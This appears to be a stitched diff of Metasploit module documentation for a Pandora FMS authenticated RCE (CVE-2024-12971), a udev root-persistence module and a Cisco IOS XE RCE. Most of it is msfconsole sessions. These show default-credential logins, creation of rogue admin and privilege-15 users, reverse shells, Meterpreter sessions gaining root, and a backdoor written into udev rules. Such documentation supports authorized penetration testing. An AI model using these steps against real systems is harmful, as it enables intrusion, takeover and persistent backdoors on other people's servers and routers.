- phantomjs-bin: from v7.0NG.724 through <= v7.0NG.767
|
||||
|
||||
Note: use target setting 2 "Tiny Reverse Netcat Command" for versions <= v7.0NG.738
|
||||
|
||||
The following releases were tested.
|
||||
|
||||
**Pandora FMS Releases:**
|
||||
* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.724 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.725 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.738 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.739 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.767 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.768 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04)
|
||||
* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04)
|
||||
|
||||
## Installation steps to install Pandora FMS Community, Free or Enterprise Editions
|
||||
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
|
||||
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
|
||||
* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/).
|
||||
* Install the iso image in your virtualization engine.
|
||||
* When installed, configure the VM appliance to your needs using the menu options.
|
||||
* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22`
|
||||
* or via the `webui` via `http://your_ip/pandora_console/index.php`.
|
||||
|
||||
* Note: from version `v7.0NG.760` follow the installation manual below:
|
||||
* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing).
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_12971`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command, 2=Tiny Reverse Netcat Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application.
|
||||
|
||||
### PASSWORD
|
||||
This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application.
|
||||
|
||||
### DB_USER
|
||||
This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database.
|
||||
|
||||
### DB_PASSWORD
|
||||
This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database.
|
||||
Note: In older versions, this password is set to `pandora` during installation of the application.
|
||||
|
||||
### DB_PORT
|
||||
This option is required and is the MySQL database port (default: 3306) to connect to the database.
|
||||
|
||||
## Scenarios
|
||||
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target
|
||||
Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application
|
||||
to gain the privileges for the RCE.
|
||||
```msf
|
||||
msf6 > use exploits/linux/http/pandora_fms_auth_rce_cve_2024_12971
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set rhosts 192.168.201.6
|
||||
rhosts => 192.168.201.6
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set lhost 192.168.201.8
|
||||
lhost => 192.168.201.8
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Found chromium_path RCE. Pandora FMS version v7.0NG.777
|
||||
[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
|
||||
[*] Succesfully authenticated at the Pandora FMS Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing PHP Command for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (40004 bytes) to 192.168.201.6
|
||||
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:51714) at 2025-04-05 11:30:11 +0000
|
||||
[+] Payload is successful removed from chromium_path path configuration.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : cuckoo
|
||||
OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > pwd
|
||||
/var/www/html/pandora_console
|
||||
meterpreter >
|
||||
```
|
||||
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target
|
||||
Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application
|
||||
to gain the privileges for the RCE.
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set password xxx
|
||||
password => xxx
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Found chromium_path RCE. Pandora FMS version v7.0NG.777
|
||||
[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application.
|
||||
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
|
||||
[*] Creating new admin user with credentials 39mqge:nmC9AuEJ5M for access at the Pandora FMS Web application.
|
||||
[*] Trying to log in with new admin credentials 39mqge:nmC9AuEJ5M at the Pandora FMS Web application.
|
||||
[*] Succesfully authenticated at the Pandora FMS Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[*] Sending stage (3045380 bytes) to 192.168.201.6
|
||||
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.6:48916) at 2025-04-05 11:33:09 +0000
|
||||
[+] Payload is successful removed from chromium_path path configuration.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.6
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-126-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > pwd
|
||||
/var/www/html/pandora_console
|
||||
meterpreter >
|
||||
```
|
||||
### Pandora FMS v7.0NG.738 on CentOS 7 - Tiny Netcat Command
|
||||
Attack scenario: use the payload less then 100 bytes to achieve the RCE.
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set password pandora
|
||||
password => pandora
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Found phantomjs_bin RCE. Pandora FMS version v7.0NG.738
|
||||
[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
|
||||
[*] Succesfully authenticated at the Pandora FMS Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing Tiny Reverse Netcat Command (use THIS for versions <= v738) for cmd/unix/reverse_netcat_gaping
|
||||
[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.6:52784) at 2025-04-05 11:38:47 +0000
|
||||
[+] Payload is successful removed from phantomjs_bin path configuration.
|
||||
|
||||
id
|
||||
uid=48(apache) gid=48(apache) groups=48(apache)
|
||||
uname -a
|
||||
Linux localhost.localdomain 3.10.0-957.5.1.el7.x86_64 #1 SMP Fri Feb 1 14:54:57 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
pwd
|
||||
/var/www/html/pandora_console
|
||||
```
|
||||
|
||||
## Limitations
|
||||
In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect
|
||||
to the MySQL database with the default database credentials.
|
||||
This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`.
|
||||
You can check this with the SQL command below if you have local access to the database.
|
||||
```
|
||||
SELECT host FROM mysql.user WHERE user = "pandora";
|
||||
+-----------+
|
||||
| host |
|
||||
+-----------+
|
||||
| 127.0.0.1 |
|
||||
| localhost |
|
||||
+-----------+
|
||||
```
|
||||
In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database.
|
||||
Another restriction is the payload size for versions <= v7.0NG.738 where the payload size is restricted to a maximum
|
||||
of 100 bytes. Please use the `Tiny Netcat Command` option get a reverse shell.
|
||||
@@ -0,0 +1,43 @@
|
||||
This is a post module that performs a persistence installation on a Linux system using [udev](https://en.wikipedia.org/wiki/Udev).
|
||||
The persistence execution with be triggered with root privileges everytime a network interface other than l0 comes up.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Obtain a session on the target machine
|
||||
3. `use exploit/linux/local/udev_persistence`
|
||||
4. `set session -1`
|
||||
5. `exploit`
|
||||
|
||||
## Module usage
|
||||
|
||||
```
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/udev_persistence
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/udev_persistence) > set session -1
|
||||
session => -1
|
||||
msf6 exploit(linux/local/udev_persistence) > exploit
|
||||
|
||||
[*] /usr/bin/udev-check-updates written
|
||||
[*] /lib/udev/rules.d/99-update.rules written
|
||||
msf6 exploit(linux/local/udev_persistence) >
|
||||
[*] Sending stage (3045380 bytes) to 172.18.49.39
|
||||
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
|
||||
msf6 exploit(linux/local/udev_persistence) > sessions -i -1
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### BACKDOOR_PATH
|
||||
|
||||
Specify the path of the file containing the udev rules. (Default: /lib/udev/rules.d/99-update.rules)
|
||||
|
||||
### PAYLOAD_PATH
|
||||
|
||||
Specify the name of the payload to execute upon persistence. (Default: /usr/bin/udev-check-updates)
|
||||
|
||||
@@ -26,8 +26,12 @@ The vulnerable IOS XE versions are:
|
||||
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
|
||||
17.11.99SW
|
||||
|
||||
NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
|
||||
though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
|
||||
|
||||
## Testing
|
||||
This module was tested against IOS XE version 16.12.3 and version 17.3.2. To test this module you will need to either:
|
||||
This module was tested against IOS XE version 16.12.3 and version 17.3.2 running on a CSR1000v appliance.
|
||||
To test this module you will need to either:
|
||||
|
||||
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
|
||||
|
||||
@@ -86,13 +90,12 @@ This allows for native Linux payloads to be used, but also payloads like Python
|
||||
### Linux Command (IOS XE 17.3.2)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOST 192.168.86.58
|
||||
RHOST => 192.168.86.58
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.113
|
||||
RHOSTS => 192.168.86.113
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[+] 192.168.86.58:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
|
||||
|
||||
Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
@@ -102,7 +105,7 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
|
||||
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.58 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RHOSTS 192.168.86.113 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
@@ -110,103 +113,24 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME dDrTvTlqxwoK no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'sqVXixoV' with password 'ZiPbsXBu'
|
||||
[*] Removing user 'sqVXixoV'
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.58
|
||||
[*] Meterpreter session 6 opened (192.168.86.42:4444 -> 192.168.86.58:64970) at 2023-11-06 17:01:06 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : router
|
||||
OS : (Linux 4.19.106)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
|
||||
payload => cmd/linux/http/x64/shell/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'pfGnCwkI' with password 'YhTwxBLK'
|
||||
[*] Removing user 'pfGnCwkI'
|
||||
[*] Sending stage (38 bytes) to 192.168.86.58
|
||||
[*] Command shell session 7 opened (192.168.86.42:4444 -> 192.168.86.58:64994) at 2023-11-06 17:01:44 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.58 - Command shell session 7 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
### Linux Command (IOS XE 16.12.3)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
|
||||
|
||||
Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
|
||||
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.59 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
When FETCH_FILELESS is false:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME ytfnShmfT no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
FETCH_FILENAME vsLOEPPqU no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
|
||||
Exploit target:
|
||||
@@ -220,108 +144,56 @@ Exploit target:
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
|
||||
[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[+] 192.168.86.113:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'lwWQIDaS' with password 'dADCGJpS'
|
||||
[*] Removing user 'lwWQIDaS'
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.59
|
||||
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.59:56554) at 2023-11-06 16:41:06 +0000
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'vTakCDWG' with password 'RJQHKnKK'
|
||||
[*] Removing user 'vTakCDWG'
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.113
|
||||
[*] Meterpreter session 5 opened (192.168.86.122:4444 -> 192.168.86.113:56702) at 2025-03-03 20:31:39 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : router
|
||||
OS : (Linux 4.19.64)
|
||||
Computer : testc100v
|
||||
OS : (Linux 4.19.106)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
|
||||
payload => cmd/linux/http/x64/shell/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'NjAmOioM' with password 'tOHjWGyw'
|
||||
[*] Removing user 'NjAmOioM'
|
||||
[*] Sending stage (38 bytes) to 192.168.86.59
|
||||
[*] Command shell session 5 opened (192.168.86.42:4444 -> 192.168.86.59:56598) at 2023-11-06 16:44:48 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.59 - Command shell session 5 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
### Unix Target (IOS XE 17.3.2)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
payload => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'JAonVuJS' with password 'vYecWhWk'
|
||||
[*] Removing user 'JAonVuJS'
|
||||
[*] Sending stage (24772 bytes) to 192.168.86.58
|
||||
[*] Meterpreter session 8 opened (192.168.86.42:4444 -> 192.168.86.58:65016) at 2023-11-06 17:03:34 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : router
|
||||
OS : Linux 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
|
||||
payload => cmd/linux/http/x64/shell/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'TVtEhbdd' with password 'NtRvujcZ'
|
||||
[*] Removing user 'TVtEhbdd'
|
||||
[*] Command shell session 9 opened (192.168.86.42:4444 -> 192.168.86.58:65036) at 2023-11-06 17:04:28 +0000
|
||||
[*] Created privilege 15 user 'VltpvRrx' with password 'KDJGXORf'
|
||||
[*] Removing user 'VltpvRrx'
|
||||
[*] Sending stage (38 bytes) to 192.168.86.113
|
||||
[*] Command shell session 6 opened (192.168.86.122:4444 -> 192.168.86.113:56736) at 2025-03-03 20:32:52 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
Linux testc100v 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.58 - Command shell session 9 closed.
|
||||
[*] 192.168.86.113 - Command shell session 6 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
### Unix Target (IOS XE 16.12.3)
|
||||
### Linux Command (IOS XE 16.12.3)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
payload => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.114
|
||||
RHOSTS => 192.168.86.114
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
|
||||
|
||||
Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
|
||||
@@ -330,7 +202,156 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
|
||||
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.59 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RHOSTS 192.168.86.114 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
When FETCH_FILELESS is false:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_FILENAME UoDekiVI no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
|
||||
[+] 192.168.86.114:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'XpJaBQIt' with password 'qEBrzlDh'
|
||||
[*] Removing user 'XpJaBQIt'
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.114
|
||||
[*] Meterpreter session 7 opened (192.168.86.122:4444 -> 192.168.86.114:61922) at 2025-03-03 20:34:05 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : test2_c1000v
|
